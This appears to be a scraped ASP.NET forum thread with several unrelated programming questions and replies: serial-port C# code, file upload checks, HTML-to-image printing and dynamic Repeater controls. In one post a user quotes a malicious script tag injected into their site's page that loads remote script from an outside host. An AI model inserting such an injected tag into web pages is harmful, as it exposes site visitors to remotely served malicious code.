|
You didn't really answer me. I'm curious because there is no way to use these ports in ASP.NET, unless the device you're connecting to is on the server, which seems odd. USB and serial ARE two different ports, they just happen to both work serially. If you posted some actual code, we might be able to help more.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
I connect each decive to the client machines and i install Virtual Serial Port Kit to the server and client machine and the software crates a virtul port on the server machines.
private void OpenSerialPort()
{
portName = "COM1";
if (serialPort.IsOpen)
{
serialPort.Close();
}
try
{
serialPort.PortName = portName;
serialPort.BaudRate = 19200;
serialPort.Parity = Parity.None;
serialPort.DataBits = 8;
serialPort.StopBits = StopBits.One;
serialPort.ReadTimeout = 2500;
serialPort.WriteTimeout =2500;
serialPort.Open();
// Initialize and Open
serialPort.DtrEnable = true;
portStatus = "Open";
}
catch (Exception ex)
{
portStatus = "Error";
}
}
private void SendMessage()
{
try
{
serialPort.Write(outByteBuffer.ToArray(), 0, outByteBuffer.Count);
}
catch (Exception ex)
{
throw ex;
}
}
private void ByteDataReceived(object sender, SerialDataReceivedEventArgs e)
{
string strMessage = "";
int idx;
inByteBuffer.Clear();
if (clickButton == true)
{
if (continueRead == false) return;
else
{
while (continueRead)
{
strMessage += serialPort.ReadExisting();
if (strMessage.Contains(ControlChar.EndOfText.ToString()))// || serialPort.BytesToRead < 1)
continueRead = false;
}
for (idx = 0; idx < strMessage.Length; idx++)
inByteBuffer.Add((byte)strMessage[idx]);
RawData = strMessage;
serialPort.DiscardInBuffer();
strMessage = "";
clickButton = false;
SendAckNak((byte)ControlChar.Acknowledge);
RequestManager();
}
}
else
{
serialPort.DiscardInBuffer();
}
}
|
|
|
|
|
Oh, this runs on an intranet, not on the web ? If you can install windows client software on the target machines, it obviously will work, but at that point, your question is no longer really about ASP.NET.
But, you're using a library that works with the serial port, you need one that works with USB to write code that uses the USB port.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
IS there any libraries which work on usb ports
|
|
|
|
|
Hi to all,
I am repeating this post. Actually at that time I made some changes and it worked. But after two days I was getting the same error again. Then I downloaded all the pages from the server and found that the malicious script "</asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script>
" was there outside the content tag. I deleted that and again uploaded the page.It worked for a while ie when I requested the same page it worked and when I navigate to other page and came back to the infected page, it again showed the same error.
Somehow we managed to change the server but still of no use. I dont know what to do.
Please assist me.
The error is :
Server Error in '/' Application.
Parser Error
Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately.
Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls.
Source Error:
Line 101:
Line 102:
Line 103:</asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script>
Source File: /index.aspx Line: 103
Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082
cheers,
sneha
|
|
|
|
|
Your problem is unchanged. You still have a virus on your server. You need to get rid of it, not just keep cleaning up after it.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
Hi All,
i am getting the Error in Log Database. Unable to get logic how to fix this error. can please give me any ideas.Which help me.
andlingInstanceID: 0f05272f-eacd-4fa5-8115-c1cb7623c35a An exception of type 'System.Web.HttpException' occurred and was caught. ------------------------------------------------------------------------ 10/30/2009 02:20:10 Type : System.Web.HttpException, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Message : File does not exist. Source : System.Web Help link : ErrorCode : -2147467259 Data : System.Collections.ListDictionaryInternal TargetSite : System.IO.FileInfo GetFileInfo(System.String, System.String, System.Web.HttpResponse) Stack Trace : at System.Web.StaticFileHandler.GetFileInfo(String virtualPathWithPathInfo, String physicalPath, HttpResponse response) at System.Web.StaticFileHandler.ProcessRequestInternal(HttpContext context) at System.Web.DefaultHttpHandler.BeginProcessRequest(HttpContext context, AsyncCallback callback, Object state) at System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
Thanks in Advance.
JohnDas
|
|
|
|
|
i attach a file in my program, and i want check that size before uplaod, does anybody know how should i do this.
protected System.Web.UI.WebControls.FileUpload attach;
if (attach.FileName != "")
{
//// here i want check the size of file
}
|
|
|
|
|
Are you looking for attach.FileContent.Length ?
It's not necessary to be so stupid, either, but people manage it. - Christian Graus, 2009 AD
|
|
|
|
|
see google..........
|
|
|
|
|
Hi All,
How do I pass a web page value in windows form in .net.
From my windows application, I want have open a web page and received web page value.
Please sent sample code.
Thanks
Rajesh
|
|
|
|
|
vnsraj wrote: Please sent sample code.
Why ? Are you unable to follow advice ? Have you written any code ?
This has nothing to do with ASP.NET. Absolutely zero. You're writing a windows app. Where does the value come from ? If it's not on the URL, you'd need to use the DOM to search the text of your web page, from a web browser control.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
hi...
im trying to get data from database..
using sessions retrieved data to text box and dropdownlist in following way...
how can i get path of fileupload control into textbox of file upload ctrl.
help me...
DropDownList1.SelectedValue = Session["website"].ToString();
TextBox8.Text = Session["link"].ToString();
|
|
|
|
|
madhukk wrote: how can i get path of fileupload control into textbox of file upload ctrl.
It's not possible. All of this looks very dodgy to me ( do your controls really have such pathetic names ? ), but either way, you can't set the text of a file upload control on the server, nor can you set it in javascript. This is for obvious reasons, if you could, you could hide one, send it with a web page, put the name of a windows config file, for example, in there, and it would upload without the user ever knowing.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
This is not possible, because so security reasons of web servers
|
|
|
|
|
Why did you answer to MY answer, and just restate what I had said ?
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
Hi
I have a string of html which contain diffrent html tags.How to write the string as image file.
for eg:
I need to save the following html as an image.
'
|
|
|
|
|
You need to create a bitmap with the HTML text in it ? Create a bitmap and draw the text on there, I guess. Or do you want parts of it to render in the right style and parts not ? That's more complex. why do you want this ?
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
i need to convert an html page to image and print in a network printer
|
|
|
|
|
OK, so you just want the text ? why does it need to be on an image if you're just printing it ?
Do what I said, draw the text onto a bitmap and print it.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
its not only a text, it may contain images, formatted text etc like html.
If i print the text the html tags are getting printed
|
|
|
|
|
OK, well, then you need to try to ask your question clearly. You gave me an example where the tags for an image were shown, then I asked why you showed some text in bold, but showed the image tag. Then I said 'do you want to print the HTML or see some of it rendered' and you said the HTML. Do you want something totally different to what you've been asking, namely to see the page printed ? If so, just print it, if you need to do it programatically, print it from a web browser control.
And at this point, as far as I can tell from your vague and contradictory descriptions, this question appears to have nothing to do with ASP.NET.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
Respected,
can we create Dynamically the Repeater control in asp.Net.Please tell me.
Thanks.
|
|
|
|
|
Repeater r = new Repeater;
this.Controls.Add(r);
Of course, you need to set its templates and stuff as well, but that's how you create a control dynamically, whatever it is.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
Respected,
Because in my application the rows will be changing at runtime.And How it will done.Please tell me.
Thanks.
|
|
|
|